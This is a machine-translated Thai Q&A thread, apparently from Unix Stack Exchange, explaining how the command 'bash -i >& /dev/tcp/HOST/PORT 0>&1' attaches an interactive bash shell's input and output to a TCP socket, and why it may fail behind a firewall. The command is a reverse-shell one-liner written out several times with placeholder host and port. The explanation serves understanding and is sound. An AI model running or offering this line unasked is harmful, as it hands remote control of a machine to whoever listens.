ความหมายของ bash -i> & / dev / tcp / HOST / PORT 0> & 1?


15

ฉันเหนื่อย

bash -i >& /dev/tcp/HOST/PORT 0>&1

แต่ดูเหมือนจะไม่ทำงานหลังไฟร์วอลล์ รหัสนี้จะทำอะไรจริง ๆ แล้วพอร์ตใดที่ถูกส่งต่อและสามารถทำงานได้หลังไฟร์วอลล์

คำตอบ:


17

ส่วนย่อยนี้รันอินสแตนซ์โต้ตอบใหม่ของ bash ( bash -i) บนการเชื่อมต่อ TCP ไปยังพอร์ตที่ระบุบนโฮสต์ที่ระบุซึ่งสร้างขึ้นในช่วงระยะเวลาของกระบวนการทุบตี ส่งออกมาตรฐานและข้อผิดพลาดมาตรฐานจะถูกส่งผ่านการเชื่อมต่อนี้ ( >& /dev/tcp/HOST/PORT) และเข้ามาตรฐานอ่านผ่านการเชื่อมต่อนี้ ( 0>&1- นี้ควรจะเป็น0<&1แต่0>&1ทำงานมากเกินไป)

ไม่มีการส่งต่อพอร์ตที่เกิดขึ้น เห็นได้ชัดว่าเซิร์ฟเวอร์ TCP บางประเภทจะต้องรับฟังและยอมรับการเชื่อมต่อบนโฮสต์นั้น: PORT และไฟร์วอลล์จะต้องทำการเชื่อมต่อผ่าน


การเชื่อมต่อคือ '/ dev / tcp / HOST / PORT' โฮสต์ถูกกำหนดไว้ที่ไหนและพอร์ตนั้นถูกกำหนดไว้ที่ไหน?
Helos

2
@Helos คุณเห็นอย่างแท้จริง/dev/tcp/HOST/PORT? ฉันคิดว่าคุณต้องการเปลี่ยนชื่อด้วยและจำนวนโดยHOST PORTมิฉะนั้นคุณจะได้รับข้อความแสดงข้อผิดพลาดจาก bash เนื่องจากคุณไม่ได้พูดถึงข้อความแสดงข้อผิดพลาดใด ๆ ฉันคิดว่าคุณไม่เห็น
Gilles 'ดังนั้น - หยุดความชั่วร้าย'

1
@Gilles ฉันไม่สามารถแยก0<&1ส่วนได้ ฉันอ่านมันว่า 'take bash stdout ( &1) และสอดมันเข้าไปใน bash stdin ( 0)' ซึ่งมันสมเหตุสมผล คุณกรุณาอธิบายว่าส่วนนี้ทำงานอย่างไร
golem

5
@golem นี่คือการเปลี่ยนเส้นทาง ไม่มีส่วนเกี่ยวข้องกับท่อ 0<&1หมายถึงการเชื่อมต่อสิ่งที่เปิดอยู่ในตัวอธิบายไฟล์ 1 ถึงตัวอธิบายไฟล์ 0 เนื่องจากการเปลี่ยนเส้นทางก่อนหน้านี้>& /dev/tcp/HOST/PORTเชื่อมต่อ fd 1 (ค่าเริ่มต้นสำหรับการเปลี่ยนเส้นทางเอาต์พุต) ไปยัง/dev/tcp/HOST/PORTเช่นเปิดซ็อกเก็ต TCP นี่เป็นการเชื่อมต่อ TCP ซ้ำกับตัวอธิบายไฟล์ 0 ซ็อกเก็ตเดียวกันตอนนี้ยังเปิดใน fd 0 ซึ่งแตกต่างจาก 0 </ dev / tcp / HOST / PORT ซึ่งจะเปิดซ็อกเก็ตอื่นไปยังเซิร์ฟเวอร์เดียวกัน)
Gilles 'หยุดความชั่วร้าย'

การเชื่อมต่อเป็นคำสำคัญที่ฉันเข้าใจ การเรียกกระบวนการทำท่อเป็นสิ่งที่ทำให้ฉันสับสน
golem
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.